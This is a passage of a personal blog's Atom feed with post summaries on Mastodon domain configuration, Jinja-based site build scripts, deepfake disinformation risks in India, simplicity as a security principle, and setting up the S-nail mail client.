Pi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting back to Mastodon&amp;mdash;the initial few hiccups aside, I was able to&#xA;get it running at &lt;code&gt;toot.icyphox.sh&lt;/code&gt;. However, as a seeker of aesthetics,&#xA;I wanted my handle to be &lt;code&gt;@icyphox.sh&lt;/code&gt;. Turns out, this can be achieved&#xA;fairly easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new &lt;code&gt;WEB_DOMAIN&lt;/code&gt; variable to your &lt;code&gt;.env.production&lt;/code&gt; file, found in&#xA;your Mastodon root dir. Set &lt;code&gt;WEB_DOMAIN&lt;/code&gt; to your desired domain, and&#xA;&lt;code&gt;LOCAL_DOMAIN&lt;/code&gt; to the, well, undesired one. In my case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WEB_DOMAIN=icyphox.sh&#xA;LOCAL_DOMAIN=toot.icyphox.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Funnily enough, the&#xA;&lt;a href=&#34;https://github.com/tootsuite/documentation/blob/archive/Running-Mastodon/Serving_a_different_domain.md&#34; rel=&#34;nofollow&#34;&gt;official documentation for this&lt;/a&gt;&#xA;says the exact opposite, which&amp;hellip;doesn&amp;rsquo;t work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don&amp;rsquo;t really understand, but whatever it works and now my Mastodon is&#xA;@&lt;a href=&#34;https://toot.icyphox.sh/@x&#34; rel=&#34;nofollow&#34;&gt;x@icyphox.sh&lt;/a&gt;. I&amp;rsquo;m not complaining. Send&#xA;mail if you know what&amp;rsquo;s going on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And oh, here&amp;rsquo;s the protective case &lt;a href=&#34;https://peppe.rs&#34; rel=&#34;nofollow&#34;&gt;nerd&lt;/a&gt; fashioned&#xA;out of cardboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/zn2I3.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Site changes</title>
<updated>2020-05-27T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-05-27:blog/site-changes</id>
<link href="https://icyphox.sh/blog/site-changes"></link>
<summary type="html">&lt;h2&gt;New stuff at the {back,front}end&lt;/h2&gt;&#xA;&lt;p&gt;The past couple of days, I&amp;rsquo;ve spent a fair amount of time tweaking this&#xA;site. My site&amp;rsquo;s build process involves&#xA;&lt;a href=&#34;https://github.com/icyphox/vite&#34; rel=&#34;nofollow&#34;&gt;vite&lt;/a&gt; and a bunch of&#xA;&lt;a href=&#34;https://github.com/icyphox/site/tree/master/bin&#34; rel=&#34;nofollow&#34;&gt;scripts&lt;/a&gt;. These&#xA;scripts are executed via vite&amp;rsquo;s pre- and post-build actions. The big&#xA;changes that were made were performance improvements in the&#xA;&lt;code&gt;update_index.py&lt;/code&gt; script, and the addition of &lt;code&gt;openring.py&lt;/code&gt;, which you&#xA;can see at the very bottom of this post!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;speeding-up-index-page-generation&#34;&gt;speeding up index page generation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The old script&amp;mdash;the one that featured in &lt;a href=&#34;/blog/hacky-scripts&#34;&gt;Hacky&#xA;scripts&lt;/a&gt;&amp;mdash;was absolutely ridiculous, and not to&#xA;mention &lt;em&gt;super&lt;/em&gt; slow. Here&amp;rsquo;s what it did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;got the most recent file (latest post) by sorting all posts by&#xA;&lt;code&gt;mtime&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;parsed the markdown frontmatter and created a markdown table entry&#xA;like:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;line = f&amp;quot;| [{meta[&#39;title&#39;]}]({url}) | `{meta[&#39;date&#39;]}` |&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;updated the markdown table (in &lt;code&gt;_index.md&lt;/code&gt;) by in-place editing the&#xA;markdown, with the line created earlier&amp;mdash;for the latest post.&lt;/li&gt;&#xA;&lt;li&gt;finally, I&amp;rsquo;d have to &lt;em&gt;rebuild&lt;/em&gt; the entire site since this markdown&#xA;hackery would happen at the very end of the build, i.e, didn&amp;rsquo;t&#xA;actually get rendered itself.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That&amp;hellip;probably didn&amp;rsquo;t make much sense to you, did it? Don&amp;rsquo;t bother.&#xA;I don&amp;rsquo;t know what I was thinking when I wrote that mess. So with how it&#xA;&lt;em&gt;was&lt;/em&gt; done aside, here&amp;rsquo;s how it&amp;rsquo;s done now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the metadata for all posts are nicely fetched and sorted using&#xA;&lt;code&gt;python-frontmatter&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;the metadata list is fed into Jinja for use in templating, and is&#xA;rendered very nicely using a simple &lt;code&gt;for&lt;/code&gt; expression:&#xA;&lt;code&gt;&#xA;{% for p in posts %}&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/blog/{{ p.url }}&amp;quot;&amp;gt;{{ p.title }}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td align=&amp;quot;right&amp;quot;&amp;gt;{{ p.date }}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{% endfor %}&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A neat thing I learnt while working with Jinja, is you can use&#xA;&lt;code&gt;DebugUndefined&lt;/code&gt; in your &lt;code&gt;jinja2.Environment&lt;/code&gt; definition to ignore&#xA;uninitialized template variables. Jinja&amp;rsquo;s default behaviour is to remove&#xA;all uninitialized variables from the template output. So for instance,&#xA;if you had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-html&#34;&gt;&amp;lt;body&amp;gt;&#xA; {{ body }}&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;footer&amp;gt;&#xA; {{ footer }}&#xA;&amp;lt;/footer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And only &lt;code&gt;{{ body }}&lt;/code&gt; was initialized in your &lt;code&gt;template.render(body=body)&lt;/code&gt;,&#xA;the output you get would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-html&#34;&gt;&amp;lt;body&amp;gt;&#xA; Hey there!&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;footer&amp;gt;&#xA;&#xA;&amp;lt;/footer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is annoying if you&amp;rsquo;re attempting to generate your template across&#xA;multiple stages, as I was. Now, I initialize my Jinja environment like&#xA;so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;from jinja2 import DebugUndefined&#xA;&#xA;env = jinja2.Environment(loader=template_loader,undefined=DebugUndefined)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use the same trick for &lt;code&gt;openring.py&lt;/code&gt; too. Speaking of&amp;hellip;let&amp;rsquo;s talk&#xA;about &lt;code&gt;openring.py&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-new-webring-thing-at-the-bottom&#34;&gt;the new webring thing at the bottom&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After having seen Drew&amp;rsquo;s &lt;a href=&#34;https://git.sr.ht/~sircmpwn/openring&#34; rel=&#34;nofollow&#34;&gt;openring&lt;/a&gt;,&#xA;my &lt;a href=&#34;https://en.wikipedia.org/wiki/Not_invented_here&#34; rel=&#34;nofollow&#34;&gt;NIH&lt;/a&gt; kicked in and I wrote&#xA;&lt;a href=&#34;https://github.com/icyphox/openring.py&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;openring.py&lt;/code&gt;&lt;/a&gt;. It pretty much&#xA;does the exact same thing, except it&amp;rsquo;s a little more composable with&#xA;vite. Currently, it reads a random sample of 3 feeds from a list of&#xA;feeds provided in a &lt;code&gt;feeds.txt&lt;/code&gt; file, and updates the webring with those&#xA;posts. Like a feed-bingo of sorts. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really like how it turned out&amp;mdash;especially the fact that I got my CSS&#xA;grid correct in the first try!&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>The efficacy of deepfakes</title>
<updated>2020-05-11T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-05-11:blog/efficacy-deepfakes</id>
<link href="https://icyphox.sh/blog/efficacy-deepfakes"></link>
<summary type="html">&lt;h2&gt;Can we really write it off as &#34;not a threat&#34;?&lt;/h2&gt;&#xA;&lt;p&gt;A few days back, NPR put out an article discussing why deepfakes aren&amp;rsquo;t&#xA;all that powerful in spreading disinformation.&#xA;&lt;a href=&#34;https://www.npr.org/2020/05/07/851689645/why-fake-video-audio-may-not-be-as-powerful-in-spreading-disinformation-as-feare&#34; rel=&#34;nofollow&#34;&gt;Link to article&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;ldquo;We&amp;rsquo;ve already passed the stage at which they would have been most&#xA;effective,&amp;rdquo; said Keir Giles, a Russia specialist with the Conflict&#xA;Studies Research Centre in the United Kingdom. &amp;ldquo;They&amp;rsquo;re the dog that&#xA;never barked.&amp;rdquo;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I agree. This might be the case when it comes to Russian influence.&#xA;There are simpler, more cost-effective ways to conduct &lt;a href=&#34;https://en.wikipedia.org/wiki/Active_measures&#34; rel=&#34;nofollow&#34;&gt;active&#xA;measures&lt;/a&gt;, like memes.&#xA;Besides, America already has the infrastructure in place to combat&#xA;influence ops, and have been doing so for a while now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are certain demographics whose governments may not have&#xA;the capability to identify and perform damage control when&#xA;a disinformation campaign hits, let alone deepfakes. An example of this&#xA;demographic: India.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-indian-landscape&#34;&gt;the Indian landscape&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The disinformation problem in India is way more sophisticated, and&#xA;harder to combat than in the West. There are a couple of reasons for&#xA;this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The infrastructure for fake news already exists: WhatsApp&lt;/li&gt;&#xA;&lt;li&gt;Fact checking media in 22 different languages is non-trivial&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;India has had a long-standing problem with misinformation. The 2019&#xA;elections, the recent CAA controversy and even more recently&amp;mdash;the&#xA;coronavirus. In some cases, it has even lead to&#xA;&lt;a href=&#34;https://www.npr.org/2018/07/18/629731693/fake-news-turns-deadly-in-india&#34; rel=&#34;nofollow&#34;&gt;mob violence&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this shows that the populace is easily influenced, and deepfakes&#xA;are only going to simplify this. What&amp;rsquo;s worse is explaining to a rural&#xA;crowd that something like a deepfake can exist&amp;mdash;comprehension and&#xA;adoption of technology has always been slow in India, and can be&#xA;attributed to socio-economic factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There also exists a majority of the population that&amp;rsquo;s already been&#xA;influenced to a certain degree: the right wing. A deepfake of a Muslim&#xA;leader trashing Hinduism will be eaten up instantly. They are inclined&#xA;to believe it is true, by virtue of prior influence and given the&#xA;present circumstances.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;countering-deepfakes&#34;&gt;countering deepfakes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The thing about deepfakes is the tech to spot them already exists. In&#xA;fact, some can even be eyeballed. Deepfake imagery tends to have weird&#xA;artifacting, which can be noticed upon closer inspection. Deepfake&#xA;videos, of people specifically, blink / move weirdly. The problem at&#xA;hand, however, is the general public cannot be expected to notice these&#xA;at a quick glance, and the task of proving a fake is left to researchers&#xA;and fact checkers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, India does not have the infrastructure to combat deepfakes at&#xA;scale. By the time a research group / think tank catches wind of it, the&#xA;damage is likely already done. Besides, disseminating contradictory&#xA;information, i.e. &amp;ldquo;this video is fake&amp;rdquo;, is also a task of its own.&#xA;Public opinion has already been swayed, and the brain dislikes&#xA;contradictions.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-haven-t-we-seen-it-yet&#34;&gt;why haven&amp;rsquo;t we seen it yet?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Creating a deepfake isn&amp;rsquo;t trivial. Rather, creating a &lt;em&gt;convincing&lt;/em&gt; one&#xA;isn&amp;rsquo;t. I would also assume that most political propaganda outlets are&#xA;just large social media operations. They lack the technical prowess and&#xA;/ or the funding to produce a deepfake. This doesn&amp;rsquo;t mean they can&amp;rsquo;t&#xA;ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It goes without saying, but this post isn&amp;rsquo;t specific to India. I&amp;rsquo;d say&#xA;other countries with a similar socio-economic status are in a similar&#xA;predicament. Don&amp;rsquo;t write off deepfakes as a non-issue just because&#xA;America did.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Simplicity (mostly) guarantees security</title>
<updated>2020-05-07T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-05-07:blog/simplicity-security</id>
<link href="https://icyphox.sh/blog/simplicity-security"></link>
<summary type="html">&lt;h2&gt;This is why I meme mnmlsm so much&lt;/h2&gt;&#xA;&lt;p&gt;Although it is a very comfy one, it&amp;rsquo;s not just an aesthetic. Simplicity&#xA;and minimalism, in technology, is great for security too. I say &amp;ldquo;mostly&amp;rdquo;&#xA;in the title because human error cannot be discounted, and nothing is&#xA;perfect. However, the simpler your tech stack is, it is inherentely more&#xA;secure than complex monstrosities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let&amp;rsquo;s look at systemd, for example. It&amp;rsquo;s got over 1.2 million&#xA;lines of code. &amp;ldquo;Hurr durr but LoC doesn&amp;rsquo;t mean anything!&amp;rdquo; Sure ok, but&#xA;can you &lt;em&gt;imagine&lt;/em&gt; auditing this? How many times has it even been&#xA;audited? I couldn&amp;rsquo;t find any audit reports. No, the developers are not&#xA;security engineers and a trustworthy audit must be done by&#xA;a third-party. What&amp;rsquo;s scarier, is this thing runs on a huge percentage&#xA;of the world&amp;rsquo;s critical infrastructure and contains privileged core&#xA;subsystems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;ldquo;B-but Linux is much bigger!&amp;rdquo; Indeed, it is, but it has a thousand times&#xA;(if not more) the number of eyes looking at the code, and there have been&#xA;multiple third-party audits. There are hundreds of independent orgs and&#xA;multiple security teams looking at it. That&amp;rsquo;s not the case with&#xA;systemd&amp;mdash;it&amp;rsquo;s probably just RedHat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare this to a bunch of shell scripts. Agreed, writing safe shell can&#xA;be hard and there are a ton of weird edge-cases depending on your shell&#xA;implementation, but the distinction here is &lt;em&gt;you&lt;/em&gt; wrote it. Which means,&#xA;you can identify what went wrong&amp;mdash;things are predictable.&#xA;systemd, however, is a large blackbox, and its state at runtime is largely&#xA;unprovable and unpredictable. I am certain even the developers don&amp;rsquo;t&#xA;know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is why I whine about complexity so much. A complex,&#xA;unpredictable system is nothing more than a large attack surface. Drew&#xA;DeVault, head of &lt;a href=&#34;https://sourcehut.org&#34; rel=&#34;nofollow&#34;&gt;sourcehut&lt;/a&gt; wrote something&#xA;similar (yes that&amp;rsquo;s the link, yes it has a typo).:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/&#34; rel=&#34;nofollow&#34;&gt;https://sourcehut.org/blog/2020&amp;ndash;04&amp;ndash;20-prioritizing-simplitity/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He manually provisions all&#xA;sourcehut infrastructure, because tools like Salt, Kubernetes etc. are&#xA;just like systemd in our example&amp;mdash;large monstrosities which can get you&#xA;RCE&amp;rsquo;d. Don&amp;rsquo;t believe me? See&#xA;&lt;a href=&#34;https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/&#34; rel=&#34;nofollow&#34;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This was day 3 of the #100DaysToOffload challenge. It came out like&#xA;a systemd-hate post, but really, I couldn&amp;rsquo;t think of a better example.&lt;/em&gt;&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>The S-nail mail client</title>
<updated>2020-05-06T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-05-06:blog/s-nail</id>
<link href="https://icyphox.sh/blog/s-nail"></link>
<summary type="html">&lt;h2&gt;And how to achieve a usable configuration for IMAP/SMTP&lt;/h2&gt;&#xA;&lt;p&gt;TL;DR: Here&amp;rsquo;s my &lt;a href=&#34;https://github.com/icyphox/dotfiles/blob/master/home/.mailrc&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;.mailrc&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I&amp;rsquo;d mentioned in my blog post about &lt;a href=&#34;/blog/mael&#34;&gt;mael&lt;/a&gt;, I&amp;rsquo;ve been on&#xA;the lookout for a good, usable mail client. As it happens, I found&#xA;S-nail just as I was about to give up on mael. Turns out writing an MUA&#xA;isn&amp;rsquo;t all too easy after all. S-nail turned out to be the perfect client&#xA;for me, but I had to invest quite some time in reading the &lt;a href=&#34;https://www.sdaoden.eu/code-nail.html&#34; rel=&#34;nofollow&#34;&gt;very&#xA;thorough manual&lt;/a&gt; and exchanging&#xA;emails with its &lt;a href=&#34;https://www.sdaoden.eu&#34; rel=&#34;nofollow&#34;&gt;very friendly author&lt;/a&gt;. I did it&#xA;so you don&amp;rsquo;t have to&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:read-man&#34;&gt;&lt;a href=&#34;#fn:read-man&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, and I present to you&#xA;this guide.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;basic-settings&#34;&gt;basic settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;These settings below should guarantee some sane defaults to get started&#xA;with. Comments added for context.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-conf&#34;&gt;# enable upward compatibility with S-nail v15.0&#xA;set v15-compat&#xA;&#xA;# charsets we send mail in&#xA;set sendcharsets=utf-8,iso-8859-1&#xA;&#xA;# reply back in sender&#39;s charset&#xA;set reply-in-same-charset&#xA;&#xA;# prevent stripping of full names in replies&#xA;set fullnames&#xA;&#xA;# adds a &#39;Mail-Followup-To&#39; header; useful in mailing lists&#xA;set followup-to followup-to-honour-ask-yes&#xA;&#xA;# asks for an attachment after composing&#xA;set askattach&#xA;&#xA;# marks a replied message as answered&#xA;set markanswered&#xA;&#xA;# honors the &#39;Reply-To&#39; header&#xA;set reply-to-honour&#xA;&#xA;# automatically launches the editor while composing mail interactively&#xA;set editalong&#xA;&#xA;# I didn&#39;t fully understand this :) &#xA;set history-gabby=all&#xA;&#xA;# command history storage&#xA;set history-file=~/.s-nailhist&#xA;&#xA;# sort mail by date (try &#39;thread&#39; for threaded view)&#xA;set autosort=date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;authentication&#34;&gt;authentication&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;With these out of the way, we can move on to configuring our&#xA;account&amp;mdash;authenticating IMAP and SMTP. Before that, however, we&amp;rsquo;ll&#xA;have to create a &lt;code&gt;~/.netrc&lt;/code&gt; file to store our account credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This of course, assumes that your SMTP and IMAP credentials are the&#xA;same. I don&amp;rsquo;t know what to do otherwise. )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-netrc&#34;&gt;machine *.domain.tld login user@domain.tld password hunter2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once done, encrypt this file using &lt;code&gt;gpg&lt;/code&gt; / &lt;code&gt;gpg2&lt;/code&gt;. This is optional, but&#xA;recommended.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gpg2 --symmetric --cipher-algo AES256 -o .netrc.gpg .netrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now delete the plaintext &lt;code&gt;.netrc&lt;/code&gt; file. Now add these lines to&#xA;your &lt;code&gt;.mailrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-conf&#34;&gt;set netrc-lookup&#xA;set netrc-pipe=&#39;gpg2 -qd ~/.netrc.gpg&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before we define our account block, add these two lines for a nicer IMAP&#xA;experience:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-conf&#34;&gt;set imap-cache=~/.cache/nail&#xA;set imap-keepalive=240&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Defining an account is dead simple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-conf&#34;&gt;account &amp;quot;personal&amp;quot; {&#xA; localopts yes&#xA; set from=&amp;quot;Your Name &amp;lt;user@domain.tld&amp;gt;&amp;quot;&#xA; set folder=imaps://imap.domain.tld:993&#xA;&#xA; # copy sent messages to Sent; &#39;+&#39; indicates subdir of &#39;folder&#39; &#xA; set record=+Sent&#xA; set inbox=+INBOX&#xA; &#xA; # optionally, set this to &#39;smtps&#39; and change the port accordingly&#xA; # remove &#39;smtp-use-starttls&#39;&#xA; set mta=smtp://smtp.domain.tld:587 smtp-use-starttls&#xA;&#xA; # couple of shortcuts to useful folders&#xA; shortcut sent +Sent \&#xA; inbox +INBOX \&#xA; drafts +Drafts \&#xA; trash +Trash \&#xA; archives +Archives&#xA;}&#xA;&#xA;# enable account on startup&#xA;account personal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also want to trash mail, instead of perma-deleting them&#xA;(&lt;code&gt;delete&lt;/code&gt; does that). To achieve this, we define an alias:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define trash {&#xA; move &amp;quot;$@&amp;quot; +Trash&#xA;}&#xA;&#xA;commandalias del call trash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;+Trash&lt;/code&gt; with the relative path to your trash folder.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;aesthetics&#34;&gt;aesthetics&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The fun stuff. I don&amp;rsquo;t feel like explaining what these do (hint: I don&amp;rsquo;t&#xA;fully understand it either), so just copy-paste it and mess around with&#xA;the colors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# use whatever symbol you fancy&#xA;set prompt=&#39;&amp;gt; &#39;&#xA;&#xA;colour 256 sum-dotmark ft=bold,fg=13 dot&#xA;colour 256 sum-header fg=007 older&#xA;colour 256 sum-header bg=008 dot&#xA;colour 256 sum-header fg=white&#xA;colour 256 sum-thread bg=008 dot&#xA;colour 256 sum-thread fg=cyan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The prompt can be configured more extensively, but I don&amp;rsquo;t need it. Read&#xA;the man page if you do.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;essential-commands&#34;&gt;essential commands&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Eh, you can just read the man page, I guess. But here&amp;rsquo;s a quick list off&#xA;the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;headers&lt;/code&gt;: Lists all messages, with the date, subject etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mail&lt;/code&gt;: Compose mail.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;number&amp;gt;&lt;/code&gt;: Read mail by specifiying its number on the message list.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;delete &amp;lt;number&amp;gt;&lt;/code&gt;: Delete mail.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;new &amp;lt;number&amp;gt;&lt;/code&gt;: Mark as new (unread).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;file &amp;lt;shortcut or path to folder&amp;gt;&lt;/code&gt;: Change folders. For example: &lt;code&gt;file&#xA;sent&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That&amp;rsquo;s all there is to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is day 2 of the #100DaysToOffload challenge. I didn&amp;rsquo;t think I&amp;rsquo;d&#xA;participate, until today. So yesterday&amp;rsquo;s post is day 1. Will I keep at&#xA;it? I dunno. We&amp;rsquo;ll see.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:read-man&#34;&gt;&lt;p&gt;Honestly, read the man page (and email Steffen!)&amp;mdash;there&amp;rsquo;s&#xA;a ton of useful options in there.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:read-man&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Stop joining mastodon.social</title>
<updated>2020-05-05T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-05-05:blog/mastodon-social</id>
<link href="https://icyphox.sh/blog/mastodon-social"></link>
<summary type="html">&lt;h2&gt;Do you even understand federation?&lt;/h2&gt;&#xA;&lt;p&gt;No, really. Do you actually understand why the Mastodon network exists,&#xA;and what it stands for, or are you just LARPing? If you&amp;rsquo;re going to just&#xA;cross-post from Twitter, why are you even on Mastodon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, so Mastodon is a &amp;ldquo;federated network&amp;rdquo;. What does that mean? You&#xA;have a bunch of instances, each having their own userbase, and each&#xA;instance &lt;em&gt;federates&lt;/em&gt; with other instances, forming a distributed&#xA;network. Got that? Cool. Now let&amp;rsquo;s get to the problem with&#xA;mastodon.social.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mastodon.social is the instance run by the lead developer. Why does&#xA;everybody flock to it? I&amp;rsquo;m really not sure, but if I were to hazard&#xA;a guess, I&amp;rsquo;d say it&amp;rsquo;s because people don&amp;rsquo;t really understand federation.&#xA;&amp;ldquo;Oh, big instance? I should probably join that.&amp;rdquo; Herd mentality?&#xA;I dunno.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what happens when every damn user joins just one instance? It becomes&#xA;more Twitter, that&amp;rsquo;s what. The federation is gone. Nearly all activity&#xA;is generated from just one instance. Here are some numbers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Total number of users on Mastodon: ~2.2 million.&lt;/li&gt;&#xA;&lt;li&gt;Number of users on mastodon.social: 529923&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Surprisingly, there&amp;rsquo;s an instance even bigger than&#xA;mastodon.social&amp;mdash;pawoo.net. I have no idea why it&amp;rsquo;s so big and it&amp;rsquo;s&#xA;primarily Japanese. Its user count is over 620k. So mastodon.social and&#xA;pawoo.net put together form over 1 million users, that&amp;rsquo;s &lt;em&gt;more than&lt;/em&gt; 50%&#xA;of the entire Mastodon populace. That&amp;rsquo;s nuts.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:federation-fallacy&#34;&gt;&lt;a href=&#34;#fn:federation-fallacy&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you&amp;rsquo;re only enabling this centralization by joining mastodon.social! Really, what&#xA;even &lt;em&gt;is there&lt;/em&gt; on mastodon.social? Have you even seen its local&#xA;timeline? Probably not. Join an instance with more flavor. Are you into,&#xA;say, the BSDs? Join bsd.network. Free software? fosstodon.org. Or host&#xA;your own for yourself and your friends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really do care about decentralization and freedom, and aren&amp;rsquo;t&#xA;just memeing to look cool on Twitter, then move your account to another&#xA;instance.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:move-account&#34;&gt;&lt;a 